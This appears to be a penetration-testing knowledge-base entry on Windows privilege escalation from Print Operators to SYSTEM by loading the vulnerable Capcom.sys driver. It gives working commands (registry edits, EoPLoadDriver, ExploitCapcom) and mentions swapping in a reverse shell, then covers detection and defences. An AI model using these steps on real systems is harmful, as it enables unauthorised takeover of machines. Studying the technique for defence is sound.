SeLoadDriverPrivilege (Print Operators) to SYSTEM

The Print Operators group is a highly privileged group that, among other things, grants the SeLoadDriverPrivilege privilege (load and unload device drivers) and the right to log on locally to a domain controller. An attacker holding that privilege can load a signed but vulnerable driver (the classic Capcom.sys) and use its flaw to run shellcode in the kernel, stealing the SYSTEM token. It is an example of escalation through a vulnerable driver governed by a privilege, not by a network exploit.

Mechanism

First confirm the privilege. If SeLoadDriverPrivilege does not appear from an unelevated context, you must bypass UAC (see UAC bypass):

whoami /priv

Privilege Name                Description                    State
============================= ============================== ========
SeLoadDriverPrivilege         Load and unload device drivers Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled

Reference the malicious driver under HKCU using an NT object path (\??\), which the Win32 API resolves when loading it:

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

Enable the privilege and load the driver. The whole process can be automated with EoPLoadDriver:

EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys

Finally, exploit the Capcom.sys flaw to launch a SYSTEM shell:

ExploitCapcom.exe

Without GUI access, edit ExploitCapcom.cpp (the LaunchShell function) so it runs a reverse-shell binary generated with msfvenom instead of cmd.exe.

Requirements

Membership in Print Operators (or holding SeLoadDriverPrivilege some other way), the ability to enable the privilege (UAC bypass if unelevated), a target older than Windows 10 1803 (from that version on, references to keys under HKCU are no longer allowed, which mitigates the technique), and the PoC binaries plus Capcom.sys itself.

How to detect it

The attack is given away by the loading of known-vulnerable drivers (Capcom.sys) by non-SYSTEM processes (Kernel-PnP/6 driver-load events), the creation of CurrentControlSet\... keys under HKCU with an ImagePath starting with \??\, and the execution of utilities such as EnableSeLoadDriverPrivilege.exe, EoPLoadDriver.exe or ExploitCapcom.exe.

Defence. Do not add accounts to the Print Operators group and remove SeLoadDriverPrivilege where it is not essential; enable Driver Signature Enforcement with HVCI and Microsoft's vulnerable-driver blocklist; and keep systems patched (1803 and later already neutralise this path). Related to Windows kernel exploits, SeImpersonate and Potato attacks, PrintNightmare and UAC bypass.